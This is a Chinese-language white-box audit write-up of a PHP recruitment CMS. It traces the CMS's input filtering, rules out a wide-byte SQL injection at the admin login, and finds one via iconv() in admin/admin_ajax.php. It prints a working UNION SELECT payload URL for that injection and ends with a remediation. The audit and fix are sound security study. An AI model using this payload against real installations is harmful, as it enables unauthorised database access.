先看一下目录
index文件是一个程序的入口文件,所以通常我们只要读一遍index文件就可以大致了解整个程序的架构、运行的流程、包含到的文件,
其中核心的文件又有哪些。
而不同目录的index文件也有不同的实现方式,建议最好先将几个核心目录的index文件都简单读一遍。
从入口文件index.php开始看吧,涉及到Smarty缓存机制
<?php
if(!file_exists(dirname(__FILE__).'/data/install.lock')) header("Location:install/index.php");//检查是否有安装锁
define('IN_QISHI', true);//定义常量
$alias="QS_index";
require_once(dirname(__FILE__).'/include/common.inc.php');//dirname(__FILE__)取得当前文件所在的绝对目录
if($mypage['caching']>0){
$smarty->cache =true;
$smarty->cache_lifetime=$mypage['caching'];
}else{
$smarty->cache = false;//开启缓存
}
$cached_id=$_CFG['subsite_id']."|".$alias.(isset($_GET['id'])?"|".(intval($_GET['id'])%100).'|'.intval($_GET['id']):'').(isset($_GET['page'])?"|p".intval($_GET['page'])%100:'');
if(!$smarty->is_cached($mypage['tpl'],$cached_id))//如果当前页面没有被缓存
{
require_once(QISHI_ROOT_PATH.'include/mysql.class.php');//调用数据库
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
unset($dbhost,$dbuser,$dbpass,$dbname);//加载模板页
$smarty->display($mypage['tpl'],$cached_id);//调用模板生成缓存页面
}
else
{
$smarty->display($mypage['tpl'],$cached_id);//否则就直接生成缓存页面
}
unset($smarty);
?>
对页面这些可控变量做了intval强转过滤。调用了两个配置文件,跟进。
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
date_default_timezone_set("PRC");
$timestamp = time();
$online_ip=getip();
$ip_address=convertip($online_ip);//转化ip地址到真实地址
对 $_GET,$_POST, $_REQUEST,$_REQUEST请求变量都加了过滤,跟进$online_ip
跟进getip函数,
function getip() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$onlineip = $_SERVER['HTTP_CLIENT_IP'];
} else {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
$onlineip = preg_match('/[\d\.]{7,15}/', addslashes($onlineip), $onlineipmatches);//匹配ip格式\d表示十进制数字,{7,15}表示总字符为7到15个
return $onlineipmatches[0] ? $onlineipmatches[0] : 'unknown';
}
这个和之前所审计的cms不同,加了过滤和ip格式的正则匹配。并且又再次对$online_ip 进行了过滤
if ($_CFG['filter_ip'] && check_word($_CFG['filter_ip'],$online_ip))
{
$smarty->assign('info',$_CFG['filter_ip_tips']);
$smarty->display('warning.htm');
exit();
}
跟进data/config文件
mysql类中的构造函数中定义了数据库编码为gbk,可以考虑宽字节注入,寻找注入点。
进入到后台登录页面
跟踪check_admin方法
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}
跟踪getone方法,没有其他一些防止宽字节注入的过滤了
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
到后台登录页面upload/admin/admin_login.php尝试宽字节注入
注意构造padyload时候一定要抓包修改发送,否则的话百分号会被url转码,这么操作下来最后也还是没成功。
查看
发现有这么个语句
SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary
character_set_client=binary 是将所有的数据以二进制来传输,就不存在宽字节注入问题了
参考p神写得文章,太牛了 浅析白盒审计中的字符编码及SQL注入
这是个假的漏洞,真漏洞发生在iconv()函数在转换时的编码问题会导致宽字节注入
参考这篇文章的介绍的宽字节注入发生的各种情况https://www.cnblogs.com/zzjdbk/p/12984498.html
师傅们都太强了。
搜索iconv函数,发现了这么一个地方 出现问题的代码在admin/admin_ajax.php 79行处
elseif($act == 'get_jobs')
{
$type=trim($_GET['type']);
$key=trim($_GET['key']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$key=iconv("utf-8",QISHI_DBCHARSET,$key);
}
if ($type=="get_id")
{
$id=intval($key);
$sql = "select * from ".table('jobs')." where id='{$id}' LIMIT 1";
}
elseif ($type=="get_jobname")
{
$sql = "select * from ".table('jobs')." where jobs_name like '%{$key}%' LIMIT 30";
}
elseif ($type=="get_comname")
{
$sql = "select * from ".table('jobs')." where companyname like '%{$key}%' LIMIT 30";
}
elseif ($type=="get_uid")
{
$uid=intval($key);
$sql = "select * from ".table('jobs')." where uid='{$uid}' LIMIT 30";
}
else
{
exit();
}
为了使得SQL语句中的字符集保持一致,一般都会使用iconv等字符集转换函数进行字符集转换,问题就是出在了GBK向UTF-8转换的过程中。
提交:http://127.0.0.1/foo.php?bar=%e5%5c%27
变换过程:(e55c转为UTF-8为e98ca6)
e55c27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca65c5c27
可以看到,多出了一个5c,将转义符(反斜杠)本身转义,使得后面的%27发挥了作用。最终产生单引号逃逸,完成sql语句闭合。
构造payload
?act=get_jobs&type=get_jobname&key=錦‘ union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23
对于宽字节编码,有一种最好的修补就是:
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?
就是使用mysql_set_charset进行指定。
上述的两个条件是“与”运算的关系,少一条都不行。
测试:
输出:
效果很明显